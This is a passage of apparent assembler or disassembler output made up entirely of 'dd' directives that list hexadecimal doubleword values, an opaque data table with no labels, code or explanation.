669F38BDh, 680CA14Eh, 8C12BC04h dd 0CE2520ECh, 13905A61h, 0E64CF1CDh, 6290F044h, 1ECD7924h dd 49305908h, 0BCE53272h, 0B1605AE4h, 0CD3A83BCh, 0E4F4F70Bh dd 78C0CC25h, 41C32C68h, 0DC111524h, 57BE1F80h, 0A0B430ACh dd 436A458h, 0D7AC14BFh, 6816AA37h, 18AD708Ch, 18B04CF7h dd 0DE0BCE2Ch, 42DBD49h, 9EA94E0h, 0D432D9ECh, 4656FC54h dd 30DC1F96h, 0D042E0DDh, 47BECA7Ah, 609444F8h, 4C57BB6h dd 0B81FDF04h, 5D7080A6h, 7D25BC53h, 0E40865E6h, 0B1D36374h dd 69809D64h, 0D60EBA8h, 49003733h, 86B6F33Fh, 9662DA5h dd 59245134h, 5811B89Dh, 66C92C80h, 8401786Eh, 3DB73062h dd 1CD0084Eh, 477D4B47h, 33221728h, 0E086E374h, 594E390Eh dd 5C0D8112h, 8AE4157h, 60173C38h, 88BCCB18h, 0E75C01Ah dd 0BD0F4B30h, 407B7FC1h, 9E709DEDh, 2E5B8076h, 90A4CDB0h dd 54B23916h, 0F9C368E4h, 23C83B3Ah, 6FC90F1Dh, 30D602FEh dd 4874AA98h, 0E04444AFh, 0B13C02C6h, 0F7BE5B72h, 1D2D94D6h dd 800A11E8h, 8737DD47h, 196263EBh, 0C4C0B06Fh, 823F445Bh dd 68E426D9h, 0E698A38h, 8D0014E8h, 13401BFBh, 0D06F00A3h dd 710DA4ABh, 1DE67D3Ch, 682F624Ah, 1F019623h, 0FBD7AB99h dd 0CDD817F3h, 0C820CB74h, 8A6C01Ch, 801D86BEh, 0DF008243h dd 7F6AE01Bh, 0B44CF4D9h, 6800DCB4h, 6B8FB184h, 9486F47h dd 8E64D873h, 51ACFD80h, 0BF02084Dh, 639C5CB8h, 95C870ECh dd 0FA0754B8h, 28C4E483h, 0B47420AFh, 0E300E1D9h, 218A4939h dd 9A5CAD7h, 0E098F476h, 0A02A38B8h, 489F3B34h, 0FEF31C80h dd 2F17098Ah, 0E86560C9h, 1F6036E4h, 5300CE01h, 0F27128A6h dd 42CF6A1Ah, 93B400C9h, 942A5A48h, 268A7A5Bh, 288C1184h dd 4C92C80h, 0BCA608E4h, 40E82F1Eh, 0C8086200h, 96987F55h dd 7C7C5C03h, 3BF62A81h, 0A14426Eh, 9B403054h, 1F7AD4ADh dd 30C5FE74h, 0BA66A330h, 783498F2h, 0D8F649BCh, 7060A3E1h dd 0C8094630h, 7C580D88h, 0E4E20510h, 8ACB95Ch, 441EA31h dd 0EABCEB05h, 0A7795808h, 0CC0BC6Dh, 4B21CA8h, 0C1246E37h dd 0BE7CC2EFh, 0CD9D1CECh, 0E479C1ACh, 0BCC07CDAh, 0EE038C45h dd 0E4A64F54h, 0C633E8E0h, 0FA0A09DAh, 2474A28Ah, 36465Eh dd 425D284Fh, 0BCD54D1h, 6670F5BDh, 84A040D0h, 0BC809C43h dd 1D34B2F3h, 2E831362h, 29467CC4h, 0EBF68606h, 31EE89F7h dd 0E05E9A28h, 0DB3E1802h, 978CAC04h, 803B1168h, 0AEBFCAC5h dd 7181F91h, 2F8AC0ADh, 129A84AAh, 6CC0A25Eh, 130C0E5Dh dd 0DB8CAB97h, 57280ACh, 0FC297770h, 8DD604E5h, 0C4FA6EC6h dd 0FD9804EBh, 292CC85Ah, 94332141h, 66441100h, 24B38F79h dd 81124E39h, 63E175D1h, 13B3DD0h, 0E7BFA858h, 500F3A38h dd 1FC8204Dh, 0B1BECDEAh, 0F4A0A064h, 65BF81A9h, 387A3F38h dd 3C90AA00h, 83034C36h, 602FAD37h, 9E004F84h, 72BC1B24h dd 0A0647725h, 2BF08D68h, 0D4F600EFh, 0B784909Ch, 0A7EE73A6h dd 8D988600h, 0EC311DC2h, 5135EF1h, 0C0D0CC38h, 6A6E0A0Eh dd 32E4EB00h, 8CE7ACC8h, 0C5D9CB8Eh, 89002C71h, 7973192Dh dd 4158009Dh, 9B3E782Ch, 0AC0560E0h, 67FC6FBFh, 2E00DCF9h dd 78EE470Dh, 70C9817Ch, 0AFF88394h, 0E021007Ah, 27F683DEh dd 8C167261h, 0E8B11FD4h, 69BA09F4h, 344DF056h, 0AC920C0h dd 8260C5Dh, 7D809EA8h, 6F89B89Eh, 0E00820E2h, 101074Bh dd 0EFFC1ABBh, 0E05ED7EEh, 0DA060F13h, 0CF2EDB15h, 126D13B1h dd 63100450h, 406EFB29h, 34E12B00h, 864836A6h, 0AAB2FF35h dd 470564A9h, 0A8706206h, 0E09205C0h, 24A11BA1h, 486D70A5h dd 0F247DEC1h, 287FC8E1h, 0C700E694h, 833479F1h, 19CB89Bh dd 30E9B77Bh, 30716128h, 0E016A8B0h, 0FC9011F5h, 874479D5h dd 0D1604564h, 0FC04B97Dh, 0FAA8F525h, 906CF8F0h, 4498A703h dd 5747620Ah, 0E101ED62h, 6077E0D2h, 9891FEB8h, 0CD867300h dd 0E0A51CDEh, 810E0923h, 0B4D2B615h, 0AE343Bh, 0D08A4110h dd 0DE48A6D3h, 0F7AA8AF8h, 80B429BCh, 0B763AB2Ch, 3200A183h dd 0EF919DD8h, 4CF53Fh, 18020EC7h, 0A8FBFE54h, 4F607F5Dh dd 4F2F946Eh, 0D00004E6h, 5BF3D51Ch, 0E8ED3E0Fh, 823302C1h dd 96F5DE71h, 0BB7014C0h dd 0B8FB4734h, 84FD5080h, 4C424C19h, 8780E782h, 0C4EC4512h dd 794600Ah, 0F52709EFh, 785835E0h, 0E10F6A25h, 432AB6E4h dd 61FC1C98h, 0BC549F82h, 8C303F06h, 9531F878h, 665EEC22h dd 0E4FB2F00h, 0AC9DB7EEh, 2920891h, 0A79A09EAh, 542C5C56h dd 5893D08h, 0D44C8412h, 0F290E280h, 0E3903371h, 0AC0E4835h dd 7688C65Bh, 70A6280Fh, 22C6A11h, 50DFB46h, 4B0AC0BCh dd 1BCD0EECh, 33E2B69Dh, 818AFA6Ch, 8E0269Ch, 0E5697109h dd 601164F0h, 0E4A045h, 5C7F3964h, 3E3D5468h, 0F50C44E8h dd 5113650Ah, 0DDF70E98h, 0A78B3B4Dh, 850DC002h, 3BE5CC85h dd 1D1C2340h, 9445C0DCh, 629784BFh, 184F6C4Fh, 0D0606AD4h dd 0FD094081h, 0B1D4F9C8h, 250B00BEh, 5B7BDAEFh, 8E60EBDEh dd 0A8269B29h, 0A440B557h, 1E27D8A6h, 5A44705Fh, 0B2F0B32Eh dd 72023097h, 994EC505h, 78820E09h, 4C0077C9h, 677C798Ah dd 9EE070C7h, 32F9B3E1h, 97BC2C3Ch, 0F425008Ch, 0EEF18EE3h dd 0E019CBB5h, 0F3687485h, 74E6B4FFh, 57ABE4E3h, 0A472CAC2h dd 22367C08h, 0ADC809AAh, 5F11BC7Ch, 94A8CA13h, 0FEFC02C0h dd 0AC5C1632h, 0E31CA68Bh, 6E281030h, 586A1644h, 24BD8485h dd 0D7820B9h, 3A398616h, 0F0654CC3h, 37B66BBh, 0AAF35CB8h dd 0A9D577D2h, 93B838h, 0D29A1318h, 1D627C9Bh, 0F080F8BCh dd 0F86B4B07h, 7D4C1181h, 0C4707723h, 6EBF2D00h, 0F1AF3F36h dd 1D2F7B31h, 4AAC42EEh, 0DEF47A2Bh, 0C86C8F00h, 5943710Fh dd 43E34E4Eh, 4BF20434h, 0C43F0BACh, 0EF804424h, 0FCF93D01h dd 86C32FBCh, 4BDFACCCh, 3C44F138h, 0E0C80B40h, 0B68868EDh dd 3260B86h, 10E1443Eh, 9CDB3E85h, 4744019Fh, 0EE70C878h dd 0F286F8F4h, 5B03B83h, 0D1F78732h, 7F0FD94h, 1BC06088h dd 14A9B4F0h, 8B803872h, 93A83F05h, 0E294A26Eh, 2B0F305Ah dd 319A8800h, 0AAC3AD7Dh, 97FC253Fh, 61365841h, 6CCE3E0Ch dd 0B7C01BC8h, 3CEF3851h, 62015D88h, 2724782Ah, 0A0843B5Eh dd 10F9EB86h, 138363FAh, 208B621Dh, 36C391C8h, 0A477F88Fh dd 9C2402A2h, 0D32739Fh, 2155B8C2h, 0C0DFAB58h, 5C44023Ah dd 0B7D73169h, 0CF2200D4h, 4E05B137h, 0E4BFFE17h, 90C878CEh dd 0C5C8CDC0h, 6AFC0749h, 547DF881h, 0E688842Eh, 947AE0F4h dd 17B7003Dh, 4B3E0133h, 0CF70AC23h, 0FC2A295Bh, 1B79F0C0h dd 81694CAh, 5CA66C24h, 63F40AB0h, 0DCF00D00h, 5AADA237h dd 0A19C2547h, 0D0CA44A0h, 0B89C4425h, 0E1E0139Ch, 0A194CC24h dd 0F1FE87D5h, 185C71C8h, 0EBC400B6h, 51A5362h, 0CD01BF7Dh dd 0D9AA0C4Dh, 0DC682E26h, 18C1BBCh, 3A125AC0h, 0CD28FE93h dd 0F1E036ADh, 3869B659h, 7E94472Eh, 0FF034B46h, 0C86EBA44h dd 7AE186F8h, 90915890h, 6B3FA84h, 6446380Bh, 582F2344h dd 0A49474CEh, 341CA10h, 0E567A063h, 1C008DEBh, 790B629h dd 22800AAh, 0FB5817C8h, 6307198Fh, 55A322FDh, 84D1E60h dd 0A56E05Eh, 73FB2EDAh, 2D05083Ch, 39864AFh, 0C226385Ch dd 0CBF082E4h, 0C6161FBCh, 808464E5h, 84386CF2h, 0F60286C0h dd 931CF7BEh, 74B05CD6h, 42003446h, 70635374h, 0FE01CC12h dd 0AA585C79h, 0AC7CB7D7h, 4FD1260Ah, 782DDCF0h, 8C1C315Dh dd 0E2B4220Dh, 4FF0301Ah, 0E999EF01h, 5CD3A97h, 0CA90C83Ah dd 27043102h, 4139DF13h, 0FC3C86A9h, 386F1100h, 170E76BDh dd 129A7312h, 145D7CE4h, 705F35E0h, 3A8C17B8h, 71844CC9h dd 0D1CFA98Ah, 33A7CAECh, 309AA238h, 92095F0Ah, 0F6890C37h dd 7EAF4098h, 0B104A316h, 0E043C3F0h, 79B110BCh, 0E03183AFh dd 982D379Ah, 0A278CCB7h, 76987CFFh, 0F0024B46h, 8CC9245h dd 88952484h, 609F5784h, 8D9B15h, 797AC729h, 54B7150Bh dd 90FE3200h, 0D8A814A1h, 2FDCB67Dh, 30598832h, 0FB211303h dd 76EC98F3h, 316F409h, 91CA753Ch, 0BDCD850Ch, 79633E2Ch dd 1C68639Dh, 0A0D762F8h, 0DDE0A80Bh, 88247CFBh, 942825Bh dd 0AF1C5C90h, 0AC8038B5h, 548C8788h, 329103FFh, 0CE79602h dd 1616C978h, 0ECF35AF2h, 0DF3029B2h, 40954C19h, 4CCA6180h dd 4327E098h, 0D214A3CCh, 0D85EB806h, 20770151h, 2A5B3868h dd 80E098ADh, 73CA4E51h, 0CFA00946h, 0E8704843h, 0C09A393Fh dd 8214BEE6h, 0F8D188C8h, 8401ACD4h, 1E42A8CBh, 0AB98108Bh dd 0BE705018h, 10AC4352h, 5FC436C3h, 3E180161h, 0AC7049E5h dd 0FE9D4014h, 0AE063110h, 0C5B0814Bh, 0F20A00E5h, 0F2CBC5Bh dd 8577E0CCh, 9C6F38h, 89BD1DEBh, 2D8DB683h, 0C840F03Ch dd 6504EE9Ah, 4F497179h, 28E234E2h, 175D30h, 2E6E94D2h dd 2B16A28Ah, 0B9D8C81Dh, 0A4C0B030h, 0E8F30760h, 3486A331h dd 0E4E846h, 957C2065h, 0A58C8B57h, 6699C46Ch, 482105AEh dd 0A51C05D0h, 2E04C180h, 2FCD7C91h, 12D71500h, 0F53B2B72h dd 687C276Fh, 1CDD3960h, 0C3795AC9h, 8482C3EFh, 0AF9AA810h dd 688CDF2Fh, 1C90FA61h, 0D6865C13h, 39E8D8ECh, 412E28Ch dd 802ACD11h, 29089253h, 6A21C891h, 0B2980870h, 0B15100FFh dd 0A276B623h, 0CE0132F4h, 91E417F7h, 413A3CA1h, 0E7AD85CCh dd 0F4017ADCh, 74320184h, 4B2BC892h, 0E8191084h, 6E4D1158h dd 0B1201271h, 0A0C6E0AAh, 2070A8A0h, 0D4B8E32h, 0F9BDEC40h dd 28AA1DDCh, 20140403h, 0C00720A6h, 0A7B179E4h, 19AD3910h dd 0FCAA01C5h, 0B4A36B85h, 0BC683C98h, 241C8C06h, 0B62C2976h dd 0B17C2D00h, 0C956549h, 628BF1B0h, 84A0E088h, 9EEEB61Eh dd 0E16B890h, 5C9B4F70h, 9193BBC7h, 2B2A0BF2h, 0C4529095h dd 0EEE804ECh, 61002143h, 730E659Eh, 7703D572h, 0DCBCE48Dh dd 7FEDA0A5h, 2E5517FDh, 0D76891CCh, 0ACAC3DE6h, 0C4700125h dd 5638A016h, 276023D3h, 7C647Dh, 62CE8FC9h, 95704FA7h dd 231C6A00h, 0AA67DAEh, 74DA00EEh, 92E01B51h, 723DC26Fh dd 0C90702FCh, 46A1B025h, 0E1B08D84h, 6969C29Ch, 62D12474h dd 1B2CC600h, 49BBDBFCh, 4C898811h, 6718CD1h, 6E046618h dd 2795C917h, 0B811C86h, 0CC099267h, 0A74A8020h, 255629Ch dd 346E2FBCh, 8B286200h, 0C80A1B01h, 0D7AB9309h, 0DFB4A52Bh dd 2F4BD8A9h, 4902368h, 815B8E39h, 7ECCF2FBh, 0AC88CC41h dd 0C0F0905Fh, 0E6F90095h, 0E1F5A110h, 0AD5368C4h, 3A9E0BD0h dd 27342056h, 2D16786Dh, 0A0793625h, 0E180879h, 83F8404Dh dd 0C4EAA862h, 0DE56E430h, 612C30FFh, 0BEB2403Eh, 0D05704EEh dd 94F6906Bh, 90AFB0E0h, 0E0C81304h, 0A0121B9h, 0F4098862h dd 1BB0C097h, 8209018h, 0BC1F10h, 2EE76407h, 0B07CE555h dd 241CB1F0h, 0BF404321h, 0BE9B8FCCh, 1E70025h, 0E4B45ED0h dd 0E30E81C3h, 8680FB1Ch, 20BF75h, 3C5DE8D8h, 638F3FEFh dd 0D3A02607h, 6C51AB36h, 68876808h, 328D2B5h, 0EFB7A9F6h dd 1E47AC43h, 70BF61F1h, 0D7015E67h, 0BB3DAA88h, 88CA2A0h dd 0E020E6D6h, 7E84DCh, 139D38C2h, 5020F546h, 18EC64A4h dd 0E0218C18h, 60001DE4h, 0FDCD6DDEh, 0C0207AB2h, 96642569h dd 28C3EB0Ch, 32E3E079h, 0EEF8E719h, 115ED630h, 88D3E4B2h dd 0AEDE8079h, 0BE3C885Eh, 66BA1001h, 3F63227Fh, 30F32852h dd 0B9085ED1h, 6480EBE4h, 0E9DB436Ah, 0E2E4B15Dh, 6E61DD4h dd 8A73880Eh, 0E00AC8A1h, 0A0A24120h, 0B461A844h, 0A68305Eh dd 3460A0ACh, 5ECCFC21h, 55C4008Ch, 3B332E0Ah, 0A870EE26h dd 22509790h, 94A4F688h dd 80649024h, 5CD27831h, 672660F0h, 609E1097h, 32CE9C28h dd 8E1865FCh, 25408F7Ch, 0C8D4546Ch, 3C224866h, 80C9CD15h dd 0C79F6100h, 5124AF3Ah, 3B9D430Ch, 0C09508E1h, 3ABEF521h dd 0A0003667h, 0D73CA34Bh, 89BBC387h, 0A11C23BFh, 0C00DE70Ah dd 0AE182B7Dh, 5F192F44h, 7E661D0Ah, 38E6C273h, 0AC9FF0D4h dd 60E6DD08h, 0E14F6AC2h, 0E52D4012h, 2E5D2840h, 724C881Ch dd 0BB8301FAh, 4B7B59A4h, 0B48C206Ah, 9E69D20h, 667D5F1h dd 0D1F56A81h, 2D86E0A7h, 9012A2EEh, 1041668Fh, 0D731E1C6h dd 156E1530h, 8CBDC40Eh, 0EA8D5500h, 50385ADFh, 84B10B07h dd 69108CECh, 0E6D7B3B5h, 20EE146Fh, 2304D497h, 23CE46Ch dd 17C16109h, 0FD80AA91h, 0D51A12A2h, 9806442Ah, 3BB3CD00h dd 62D24B1Ch, 6C8B7ECCh, 0EA6860DCh, 90FE2C2Ah, 7EB24700h dd 9B4F68F2h, 0D77C3321h, 2138FB08h, 0C27E80AAh, 0FD6D8384h dd 577EC5h, 4992EE97h, 443663A4h, 0B490C67Dh, 0D21DCA46h dd 0B3E4845Eh, 20703281h, 85DEADAh, 62A21403h, 9BA802E2h dd 653E887Ah, 0D1DC91FCh, 0BD1875h, 5FB4B060h, 36DAB227h dd 0B7A2F11Fh, 9C84D1B1h, 0CE5E5180h, 5F5C57E3h, 6388F51Bh dd 0E2C3FF49h, 8E3AC086h, 0AEEF00EDh, 380A774Dh, 5091FEA4h dd 75717821h, 870F8418h, 0C141599Eh, 0ACC47E65h, 7C2DC4Ch dd 1784428Ah, 0C8DB209Dh, 0AD24EB99h, 67406828h, 0EEF076B7h dd 34D401A4h, 0C14D888Bh, 0F091FEA6h, 8B018E8h, 3F68F47Eh dd 0A84EF8C4h, 92A77E20h, 7030F0E4h, 0CE67E0E8h, 97461E88h dd 9AB0471Eh, 249D69AFh, 0C0809611h, 63DE958Ch, 0F2B4201Eh dd 784AE6D2h, 0AF4054E5h, 0EB68C77Eh, 0BD88FF18h, 817E00A7h dd 3724EA69h, 0D5022E22h, 1B4484A0h, 48DD42D2h, 20083ED0h dd 203FF2BDh, 186F3170h, 30F71BC4h, 0BFA14798h, 0C60C80F4h dd 0E1A6285Ah, 9B048CD1h, 0F124B33Ah, 0F200F938h, 0D1294B3Ah dd 103CEF80h, 189D8814h, 0F2489A37h, 0E8A14D17h, 5930C129h dd 9B718AAh, 657BC24h, 90F6E8A1h, 43C8413Ch, 7CC98337h dd 0A889D274h, 5BBDE2h, 0AB539AEFh, 8E39C94h, 88470128h dd 6121A00Ch, 7760BCh, 324E6F3Ch, 18F216A6h, 2679C160h dd 90967DD5h, 97A516A0h, 0DA808BEh, 114C176Bh, 0AC7B8468h dd 841DB0C0h, 6B870AE9h, 6CC929Eh, 0C99444AFh, 0F8EA282Ah dd 67688700h, 9A6B91E6h, 507C137Ah, 0E034145Ah, 2038E483h dd 5828D926h, 18CFF247h, 288C24C9h, 2A9C356Fh, 8068182Ah dd 65A46C74h, 35702005h, 0CE0408ACh, 0B63A96C0h, 22994624h dd 0EDFE0090h, 0A02CC73Ah, 9801D849h, 751C1DDEh, 0AC20E3A2h dd 0A0E940F4h, 0DD2E11Ch, 0A622180h, 58E51CD5h, 0D9E87856h dd 0D308008Ch, 0B67FFED4h, 6305AD10h, 81A98CE8h, 7EC7AC00h dd 241DF221h, 7C402538h, 0FD008F46h, 45DF13FAh, 2D01FB88h dd 77D2CA20h, 6887B582h, 3A8908E6h, 0C0E91C4h, 0DC5E6F43h dd 0D1EA01EFh, 0DC2BC94Bh, 587ED0ECh, 86735401h, 298F1CB5h dd 6CF1B6D5h, 0AFC7798Eh, 0D1B0EDC0h, 8C3A3DE9h, 29A00168h dd 8678192Ch, 53AF30C4h, 31A19C0Fh, 14C00CE7h, 849E9B28h dd 0D018E400h, 0CE97AED8h, 88442204h, 4807EC4h, 18485554h dd 108518E0h, 0A0B1505Ah, 0A318F4D1h, 2907A500h, 562F055h dd 1EF2121Ah, 544432B5h, 4088FC20h, 3BF0800Bh, 804FB9C0h dd 3A8E0E21h, 6C8C5C62h, 3C306FE8h, 4FBBC905h, 0F008FB16h dd 3AF4C0B8h, 0A94324B0h, 3ACBF880h, 0A70098BFh, 0DD22290Ch dd 24479A53h, 74F43FE6h, 0A73C7046h, 0B395E001h, 0FCFD5AAAh dd 53E2BC19h, 0B7B06E60h, 48F420E4h, 0C707184Bh, 82EECB62h dd 0FC53788Ah, 64AFA58h, 0C4B7B03Ch, 0FE01D96Eh, 0F192C0CEh dd 0A0D7ADB6h, 5F1D70h, 0F7AADA46h, 0D2936BB8h, 0E7C1081Ah dd 42688288h, 0EC9D094Fh, 4B807311h, 64A41550h, 53CED161h dd 9022AB22h, 1F5F110h, 0EF9CE715h, 1082EA0Ch, 8CFD96CFh dd 0C79A851h, 81FE518h, 9E8D7CDBh, 1AD0B1F2h, 2C91B9h dd 5787F1D3h, 7FE46C8Eh, 139390C9h, 0FC38243Ch, 8E668254h dd 3C409084h, 311986D4h, 0AA987EE6h, 4258BE18h, 23120307h dd 2A4B34h, 7F6EDF08h, 423E9530h, 0C2AC2600h, 0D9A4C82Eh dd 4D4600B8h, 0CA894097h, 21197F8Ch, 0CE3071C6h, 0EE70AAC4h dd 53AD06ECh, 8C5F3CAh, 31217660h, 8070B2h, 864C22EBh dd 775A92EAh, 0A9852707h, 0E840B407h, 19D690D8h, 3970C395h dd 0BFB8E35Bh, 4900820Ah, 8EF4CBF6h, 8526D9h, 36DB6118h dd 1A71A656h, 0E6CD9800h, 6ECE3350h, 0A7300D59h, 0E1488107h dd 3809C41Fh, 6A0BF80Eh, 8F40C6Bh, 0C421C067h, 961B09E6h dd 0B8D4F00h, 0C252C6F9h, 533928B7h, 23F8C874h, 7370A8C0h dd 7FBD46ECh, 1CB03388h, 6C0570h, 406BD38Ah, 0C0004B3Fh dd 19582A42h, 0F6CE7302h, 883460D7h, 0BD23077Fh, 9D590C00h dd 73A6F8A2h, 0C8A081C6h, 0CD0A9B0Ah, 742FCCF0h, 19809911h dd 1BF83A09h, 0C269448Ch, 0A0092028h, 3B556F1Ch, 729BF5C0h dd 0A169B294h, 0AC4122C8h, 6500831Eh, 0EB1EF3ACh, 20709EEAh dd 126B0B8Ah, 5834B47Eh, 52E63018h, 0EBCCCE81h, 18B0D870h dd 0AA805426h, 6044FC0Dh, 507F89D7h, 0A97DB274h, 83CB9A06h dd 60088AB3h, 9CF6212Ah, 0D50017B2h, 0A8AD3EB4h, 1442C9B9h dd 2441CE0Fh, 0C2B27184h, 249172D1h, 99F11059h, 42483FB2h dd 0D8BEE680h, 440C95FBh, 2D2085EFh, 0D8415B58h, 0E42692E9h dd 8F8B9040h, 4418CE6Fh, 0C987B183h, 3D04F173h, 3A631F42h dd 88B4A098h, 420F458Ch, 0E01C6A32h, 0B0C906D1h, 0C75F12AAh dd 3874030Fh, 58236FFAh, 423701AFh, 182A6319h, 3F8E88B3h dd 73E04200h, 0FD94CCAh, 0AE4012EAh, 0A34C1DF6h, 0A070AD00h dd 865455ECh, 0B5C87745h, 0C2143970h, 781D3500h, 0DDD55F81h dd 17B4440Ah, 5902E0D1h, 97EA1CD3h, 80B11154h, 78F1EBACh dd 67BA01A1h, 8075092h, 0E9804022h, 24F02E41h, 0F3101960h dd 0A0D7968Ah, 0A9D5A0BCh, 22CA57CCh, 0F8A27806h, 44601BD7h dd 3C01AD7Eh, 40C765Ah, 38ECAB80h, 1E3A0FD9h, 974C96A0h dd 18910E51h, 2182479h, 0DDCD1006h, 1C918B26h, 1F416030h dd 6F8C043h, 0E2DFBD13h, 50703648h, 48CA8C4h, 0F8390922h dd 38CE03h, 2509E9C5h, 48EB2829h, 0DE22305Eh, 152AAC00h dd 4650A48Bh, 5883005Ch, 0D11F357h, 2E003C7Fh, 0BD21AD14h dd 0C3805EFFh, 0D9A87E80h, 0E2CD410Ch, 6FD8697Ah, 1D80D927h dd 0EDE53B73h, 0DFA3F804h, 94CEB661h, 0DCC07588h, 18637D06h dd 804F1AE3h, 0B624FF02h, 0CE031C69h, 5290365h, 7357AB79h dd 0BF4031Eh, 1812358Ah, 0AC3A9CFBh, 7100E723h, 74D6917Dh dd 4C7EF8CAh, 206A25B7h, 3600DE54h, 0D209BCFAh, 3437E23Bh dd 80215532h, 0B9A965CCh, 0BD1A3801h, 2B12D363h, 0DEFCF084h dd 396E83DCh, 1B47823h, 631C4238h, 0A34C0E82h, 31F24207h dd 5A5F90E1h, 8A30CAB6h, 9CE221E3h, 0D0A50015h, 0B9E828ECh dd 0E4A4D73Eh, 0C570AE00h, 0F114BC0Eh, 1C875091h, 7436006Fh dd 4069F37Dh, 9C9859F4h, 1904214Ch, 0B6A8546Dh, 4B93618h dd 3960E5C4h, 4E0512B9h, 177367ABh, 0CE8AE403h, 30912B46h dd 0FEDC4080h, 0A898AC19h, 4D0E1A74h, 20A835EBh, 861BF538h dd 0DC7201D5h, 1F596964h, 63218088h, 3BD93605h, 0CB11C0EEh dd 648E698Ch, 67199175h dd 0F908796Ch, 852E2180h, 9C09D369h, 53E81F07h, 6690E019h dd 74F6F9h, 20D4B0B6h, 0BDA8DCECh, 408AEB1Fh, 308371F0h dd 58D356F5h, 87004B23h, 0FEC8415Bh, 0A483F8BCh, 8F5E620h dd 1A36DCD2h, 0A5404F64h, 0A62CF53Dh, 47A2C700h, 0BD9B68E7h dd 0D6C76C9h, 0B9E261D7h, 0CC309DC8h, 16D9EFFDh, 0CA3800BEh dd 0A6E6AE7Dh, 0CC2393Eh, 31A9DE3Eh, 18E7E88h, 0C78F1F8Ch dd 98A72739h, 0E9219008h, 74AE0096h, 369BDD54h, 2728F821h dd 6C039016h, 93A51AD7h, 9BF29856h, 62680C3Ch, 2681D967h dd 0E5F82310h, 594FE000h, 5BE99BE1h, 839AA80Ch, 9152934h dd 0BF3226D5h, 0B6E70501h, 4D0899ECh, 0A6307821h, 83230391h dd 0ABAE2770h, 3DD0A164h, 8BF88D63h, 448C971Fh, 9501EA9Eh dd 0E3C675AEh, 61803883h, 0ED060D18h, 95197064h, 3958D892h dd 0AE0A9118h, 94B71F8Fh, 99EE70h, 0F4DA5FAEh, 0DEDD94FAh dd 981A2E1Dh, 69AD6D0Ch, 0A2FE0340h, 0DC60EFECh, 1917A5E3h dd 931029B4h, 326502DCh, 41266825h, 8B18DA64h, 648D6908h dd 40F8C489h, 2A69842Dh, 204035C9h, 87584899h, 0D6F531C0h dd 1A1624DCh, 39A958B0h, 1DC0F500h, 67E605DFh, 621C0096h dd 35E80D3Ch, 0AA006632h, 38237383h, 1F8F2421h, 0E8E3FB14h dd 403E48F4h, 9623F4D0h, 3626D101h, 5218D4BFh, 0D97488h dd 25B21626h, 7C61E48Ch, 1F2EE500h, 77431927h, 8C925345h dd 6130F4A2h, 224101A7h, 0F31CC0E4h, 0C94C248Fh, 6719510Eh dd 7AF244E0h, 8C945088h, 9126CF3Bh, 5188E4BFh, 17007697h dd 0BD31F644h, 9D600DDh, 0F3BCC417h, 68C0DB7Fh, 8C396493h dd 0EF522462h, 40840C30h, 0E400D441h, 95AF5965h, 90411567h dd 31DDE098h, 0CEF0962Dh, 0D0E1E5F2h, 0C20299DEh, 7C97CC2Bh dd 88F084AEh, 0D5F53260h, 110EDC23h, 3AAA0357h, 0C9DE7DF5h dd 0F0A09B72h, 0C00F2088h, 8022E66Ah, 59B4674h, 0F73B18E8h dd 8D4FBC5Eh, 46BE80A2h, 0D68CA7h, 0FAEA9AA9h, 3EA627AEh dd 14E95101h, 5CB7BAC4h, 2D62820h, 1F863299h, 2047C767h dd 0A0604C44h, 0F4730545h, 0D50E73F8h, 6AFD410Ah, 0C340B883h dd 0D7F104h, 0F93C22B9h, 6128BFEh, 0E391A606h, 1429B3E1h dd 0C0C4D135h, 8C3C8840h, 8EAE8C04h, 92629F1Fh, 0AE94E720h dd 5F3C0079h, 0A47D13B5h, 2209CC51h, 3D5C30D6h, 481DCCh dd 5A5E6F3Ah, 2B14370Ch, 5DCEB44h, 86825FDCh, 1BF0E801h dd 0F100CAB0h, 0CE001569h, 9CD260C9h, 0B13825CFh, 189ED104h dd 53CE0EB0h, 0E4870492h, 32C49088h, 0A26A2268h, 0FB087878h dd 4FDE03F0h, 18769F1Eh, 485B7033h, 0A8510040h, 9E26C90h dd 20E52638h, 0B613936Ch, 244447F3h, 6201EA13h, 0A6A7E569h dd 46741C38h, 17301F52h, 383B70C0h, 589983F0h, 0A310642Bh dd 0D2660949h, 8C68A8B7h, 92803A11h, 0AF1F90AEh, 0ED91448Ch dd 51AE9A00h, 0F992073Ch, 38F70285h, 0E65413BFh, 0E3663068h dd 0EB46270Dh, 60269836h, 40145F0h, 0B258B50Ah, 0C010B43Ch dd 40B65E02h, 0ACA0222Bh, 84865874h, 0F3B4BCA0h, 149DD326h dd 140B6317h, 19C3FCCh, 84A17462h, 0A0831049h, 0ED2D00FCh dd 0BDC361F4h, 331F58A6h, 8F5D8C55h, 0F9982B00h, 0A7120B0h dd 0FE3F601Ch, 849986ECh, 0CEFC4946h, 2FA02A00h, 0FACC0C1Bh dd 507C4Bh, 4A6C17AEh, 6BC3D60Ah, 0DC250D03h, 8C0E4Fh dd 0E86D56E0h, 69E1E47Bh, 3EEC4Ah, 0CA00F323h, 0B65B3E8Bh dd 99446083h, 0F56A3210h, 0D208FA02h, 0C00D1EE9h, 4CBA0Dh dd 0ABA45964h, 0ACB7E1D8h, 0F1CE94A8h, 0D6E4C406h, 961D93Ch dd 6203B266h, 44583008h, 31D732EBh, 648CFC8Eh, 2C808143h dd 31916987h, 8422A207h, 9B9ED264h, 1BD09060h, 0C86C9026h dd 8DC7D858h, 79648BB1h, 2BB08428h, 40F86986h, 0D8A77604h dd 0AA432387h, 60055D9Bh, 0EF928627h, 466004C6h, 988F33DEh dd 30229D64h, 882923F6h, 19CC59E8h, 5A5D1100h, 99366D7h dd 0FBA02B1h, 0E245832h, 3C832CB5h, 0B39A03BEh, 0E470B085h dd 870B0099h, 0FBBD2FC7h, 9890CC4Bh, 0A5043965h, 0C84553C5h dd 0F8404283h, 0BE3E32ACh, 0F3A50089h, 0A65ABBD1h, 3B38AD75h dd 7CA8A92h, 9F0F8469h, 904CEAF8h, 0DA857B00h, 6E86699h dd 8BDC62D5h, 0BD0AD8D0h, 6804D330h, 0F04656h, 0FB229540h dd 0FD211E5h, 0BF30C615h, 0C8F56306h, 844A3C26h, 5B60D0A0h dd 0B62F899h, 0ECAE48DEh, 75E4C80h, 667D3F4Fh, 0A209D67Eh dd 2B34E56h, 2737B4Ch, 4447B44Ch, 3760F844h, 976ADD7Ch dd 0C600F971h, 0AAFA1CD3h, 1B074C2h, 0B2016B26h, 71ED88D7h dd 0D0D6CD80h, 14883766h, 0F4DF37FBh, 0D59C2D8h, 183B5061h dd 238DFC8Bh, 